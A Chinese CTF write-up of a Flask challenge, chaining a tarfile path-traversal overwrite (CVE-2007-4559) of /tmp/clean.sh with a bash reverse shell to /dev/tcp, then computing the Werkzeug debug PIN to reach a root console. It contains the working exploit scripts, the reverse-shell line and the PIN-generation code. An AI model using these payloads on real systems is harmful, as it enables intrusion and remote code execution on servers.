前言
这道题做了我很长时间,在xux师傅的帮助下,看了很多文章,学到了很多,也感受到了自己在很多方面仍然存在不足,还是要继续前进继续努力啊。参考文章在文末。
题目简介
一道flask框架的题,开局就有源码,如下:
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
if os.path.islink(filepath):
return '?'
if oct(os.stat(filepath).st_mode)[-3:] != '444':
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('su ctf -c /tmp/clean.sh')
return 'success'
# print(os.environ)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
导入了tarfile模块,upload路由用于上传本地tar文件,download路由是读取文件,clean路由是执行clean.sh
思路分析
本题的知识点:
1、tarfile文件覆盖漏洞(CVE-2007-4559)
2、开启了flask的debug模式(如上源码中的debug=True),于是可以在 /console 中进入控制台,但前提是需要有pin码
3、flask debug模式算pin码
具体思路:利用tarfile任意文件覆盖漏洞,覆盖/tmp/clean.sh,再触发clean路由反弹shell,但是反弹的shell是ctf用户,没有权限读取根目录下的flag文件,flask是root用户运行,因此可以进入flask的 /console 控制台读取文件,前提是算出pin码,所以需要用反弹的ctf用户的shell找到对应信息算出pin码,登录/console后最终拿到flag.
复现
首先我们需要创建覆盖clean.sh的exp文件,内容如下:
bash -c "bash -i >& /dev/tcp/ip/port 0>&1" # 不加 bash -c 无法运行
并且给这个文件加上可执行权限:chmod +x exp.sh
接下去我们利用tarfile模块创建一个恶意的tar文件:
import tarfile
def changeName(tf):
tf.name = '../../../../../tmp/clean.sh'
return tf
with tarfile.open('exp.tar', 'w') as tf:
# 将exp.sh重命名为'../../../../../tmp/clean.sh',并放入exp.tar文件夹中进行压缩
tf.add('exp.sh', filter=changeName) # exp.sh就是反弹文件
文件创建好后进行上传,并触发clean路由,脚本如下
import requests
url = 'http://1.14.71.254:28052/'
file = {
'file': open(file='exp.tar', mode='rb')
}
resp = requests.post(url=url+'upload', files=file)
print(resp.text)
res = requests.post(url=url+'clean')
print(resp.text)
在linux中执行以上脚本,并在公网ip机中开启监听:nc -lvnp 1234
获得shell:但仍然拿不到flag
能看见原网站有/console,但要验证pin码,所以开始算pin码
pin码计算参考网址,pysnow师傅的博客:https://pysnow.cn/archives/170/
下面摘自该师傅的博客:
pin码生成条件:(必要参数)
-
probably_public_bits:
-
username modname getattr(app, 'name', app.class.name) getattr(mod, 'file', None)
username:通过/etc/passwd这个文件去猜**
**modname:getattr(app, “module”, t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.appappname:通过getattr(app, ‘name’, app.class.name)获取,默认值为Flask
moddir:flask所在的路径,通过getattr(mod, ‘file’, None)获得,题目中一般通过查看debug报错信息获得
-
private_bits:
-
uuid:
网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。
例:00:16:3e:03:8f:39 => 95529701177
machine-id:
machine-id是通过三个文件里面的内容经过处理后拼接起来
对于非docker机,每台机器都有它唯一的machine-id,一般放在/etc/machine-id和/proc/sys/kernel/random/boot_id
对于docker机,就要查看/proc/self/cgroup文件的内容
非docker机,三个文件都需要读取
docker机只读取除/etc/machine-id以外的两个文件
pin码生成脚本:
低版本(werkzeug1.0.x)
import hashlib
from itertools import chain
probably_public_bits = [
'root' # username,通过/etc/passwd
'flask.app', # modname,默认值
'Flask', # 默认值
'/usr/local/lib/python3.7/site-packages/flask/app.py' # moddir,通过报错获得
]
private_bits = [
'25214234362297', # mac十进制值 /sys/class/net/ens0/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
# 以上这串可能的两种情况:
#1、/etc/machine-id + /proc/self/cgroup
#2、/proc/sys/kernel/random/boot_id + /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
高版本(werkzeug>=2.0.x)
import hashlib
from itertools import chain
probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485376930109', # 读取/sys/class/net/eth0/address文件 将mac地址转换为十进制
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
# 以上这串可能的两种情况:
#1、/etc/machine-id + /proc/self/cgroup
#2、/proc/sys/kernel/random/boot_id + /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
高版本和低版本是md5加密和sha1加密的区别,有了参数后再修改一下脚本参数,运行即可出pin码。接下来就来找参数
以下是脚本,运行即可得到pin码
import hashlib
from itertools import chain
# cat /etc/passwd查看运行用户,这里是root
# 以下是所有参数
probably_public_bits = [
'root' # /etc/passwd
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'2485376930109', # 读取/sys/class/net/eth0/address文件 将mac地址转换为十进制
'96cec10d3d9307792745ec3b85c8962046f20f37d2da171b003aa0ca96b94a76cd5380a6ee055aeb16ceacf3957de7ae'
# 在这道题中,是 /etc/machine-id + /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到pin码:570-854-289
输入/console中,便进入了flask的控制台
非预期解法
思路:debug模式下如果文件有修改会自动重载,可以直接覆盖main.py。没复现过,可以看看pysnow师傅的复现,放在参考文章中。
总结:
我太菜了。
参考文章:
https://blog.csdn.net/weixin_54648419/article/details/123632203
https://www.pysnow.cn/archives/510/
https://pysnow.cn/archives/170/